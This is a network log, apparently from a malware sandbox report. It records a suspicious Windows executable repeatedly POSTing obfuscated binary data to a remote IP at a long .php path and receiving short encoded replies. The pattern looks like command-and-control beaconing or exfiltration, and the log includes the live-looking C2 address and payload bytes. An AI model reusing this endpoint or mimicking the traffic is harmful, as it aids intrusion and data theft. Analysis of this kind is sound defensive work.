GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding98:7/&/6.,"(4Z=-3/-<;T!;?1"P'U2!Y&[=:V):,<6C30 3=1T4?,\?\2(:(/<'W&W5T>62-%;?%(P2$ :,?5>?>#1 +, Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49801	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:03.244288921 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:03.595292091 CET	2544	OUT	Data Raw: 59 55 43 56 5e 58 56 55 58 5b 57 56 50 5c 5b 55 55 50 5e 59 54 5d 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YUCV^XVUX[WVP\[UUP^YT]QYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';(+">&8\,=R(=8^<8?!4*34=!$-_3'_!/Y.
Jan 10, 2025 07:58:04.003618956 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:04.195121050 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49808	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:04.323093891 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:04.673408985 CET	2544	OUT	Data Raw: 59 57 46 50 5e 56 56 55 58 5b 57 56 50 5c 5b 52 55 55 5e 58 54 5d 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YWFP^VVUX[WVP\[RUU^XT]QYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,!#>=[>5#,*=U?8(+<6$(<3#_=?$>($'_!/Y.
Jan 10, 2025 07:58:05.183228970 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:05.324965000 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49814	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:05.510200977 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:05.860974073 CET	2544	OUT	Data Raw: 5c 52 43 50 5e 56 56 55 58 5b 57 56 50 5f 5b 56 55 54 5e 5d 54 59 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RCP^VVUX[WVP_[VUT^]TYQYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',+Y?1+%$/">-4_<(;"4'U? <*/"B%(\&:'_!/Y.9
Jan 10, 2025 07:58:06.311803102 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:06.463865995 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49823	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:06.600534916 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:06.954659939 CET	2532	OUT	Data Raw: 59 53 43 56 5e 5d 56 57 58 5b 57 56 50 5b 5b 53 55 52 5e 59 54 59 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSCV^]VWX[WVP[[SUR^YTYQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B;"#Z<.+&',\%V?.8\(80";?3+YY"C&=$'_!/Y.1
Jan 10, 2025 07:58:07.344628096 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 30 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49830	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:07.474140882 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:07.829819918 CET	2544	OUT	Data Raw: 59 51 43 52 5e 5d 56 55 58 5b 57 56 50 5a 5b 52 55 57 5e 5f 54 5f 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQCR^]VUX[WVPZ[RUW^_T_QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',1/X>."(#8T>>8<$"'#( #=52(X0'_!/Y.-
Jan 10, 2025 07:58:08.327179909 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:08.460572958 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49837	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:08.585736990 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49840	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:08.805211067 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:09.157881975 CET	2036	OUT	Data Raw: 59 56 46 53 5e 56 53 54 58 5b 57 56 50 5c 5b 5a 55 52 5e 59 54 50 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVFS^VSTX[WVP\[ZUR^YTPQYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B,#?-Z<%<Z,:W+?8!8<[+/&@&['3'_!/Y.
Jan 10, 2025 07:58:09.573379040 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:09.706527948 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 52 23 05 30 1c 26 3f 35 52 2d 06 3a 0e 28 30 3b 06 3d 3e 33 5f 29 23 3b 52 3a 01 24 0b 35 38 2d 5c 29 32 3e 56 27 2c 30 1c 26 1d 21 59 0c 13 26 5a 3c 29 2e 0e 29 04 24 5a 2b 31 0c 42 27 1d 2f 59 24 13 2d 50 34 2f 0d 03 2b 04 3a 0a 3c 08 3d 1f 2d 5f 30 15 3d 3c 34 54 27 0c 2a 57 0c 1f 26 56 23 31 3a 0d 20 22 08 12 27 06 34 0e 24 06 20 55 32 01 3b 5b 37 03 3b 12 2d 5f 37 00 21 00 28 5f 3e 58 3a 1f 36 22 27 0d 2b 06 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989R#0&?5R-:(0;=>3_)#;R:$58-\)2>V',0&!Y&Z<).)$Z+1B'/Y$-P4/+:<=-_0=<4T'*W&V#1: "'4$ U2;[7;-_7!(_>X:6"'+ Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49841	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:08.928224087 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:09.283199072 CET	2544	OUT	Data Raw: 5c 56 46 57 5e 59 56 52 58 5b 57 56 50 53 5b 52 55 55 5e 58 54 58 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VFW^YVRX[WVPS[RUU^XTXQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;18?-:>6$/:R+.<((4Z"$(#3Y)/%2<X0:'_!/Y.
Jan 10, 2025 07:58:09.664468050 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:09.818079948 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49849	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:09.941729069 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:10.298403025 CET	2544	OUT	Data Raw: 59 5f 43 5e 5e 57 56 54 58 5b 57 56 50 59 5b 51 55 54 5e 5f 54 5a 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_C^^WVTX[WVPY[QUT^_TZQ]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';!?+-+/899>=8X?;<Y"B8(?_=2> ''_!/Y.!
Jan 10, 2025 07:58:10.681381941 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:10.808757067 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49856	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:10.962347984 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:11.314213991 CET	2544	OUT	Data Raw: 59 50 46 50 5e 5a 53 55 58 5b 57 56 50 5f 5b 51 55 5d 5e 52 54 5d 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPFP^ZSUX[WVP_[QU]^RT]Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',2,(>>(/,*-S?[7?;!$?<3[=@1'':'_!/Y.9
Jan 10, 2025 07:58:11.725784063 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:11.860409021 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49864	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:12.015495062 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:12.360898018 CET	2544	OUT	Data Raw: 59 50 43 57 5e 5d 56 50 58 5b 57 56 50 5c 5b 50 55 52 5e 5d 54 5d 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPCW^]VPX[WVP\[PUR^]T]QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;"8<=9[? [-)%(8)8$Z!;?3'X+<>A&'$*'_!/Y.
Jan 10, 2025 07:58:12.755327940 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:12.905602932 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49872	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:13.037450075 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:13.392235994 CET	2544	OUT	Data Raw: 5c 54 46 55 5e 58 56 5f 58 5b 57 56 50 5e 5b 53 55 5c 5e 58 54 51 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TFU^XV_X[WVP^[SU\^XTQQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;>.:(5(Y-::($<88[5$</Y*<6%=?3:'_!/Y.=
Jan 10, 2025 07:58:13.794368982 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:13.946679115 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49879	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:14.081201077 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:14.439058065 CET	2544	OUT	Data Raw: 59 50 46 54 5e 5a 53 57 58 5b 57 56 50 58 5b 56 55 54 5e 5f 54 5c 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPFT^ZSWX[WVPX[VUT^_T\QZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C/1;[(=<&-)!V<-'+;<Z#4'<?)Y%2;3*'_!/Y.%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49885	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
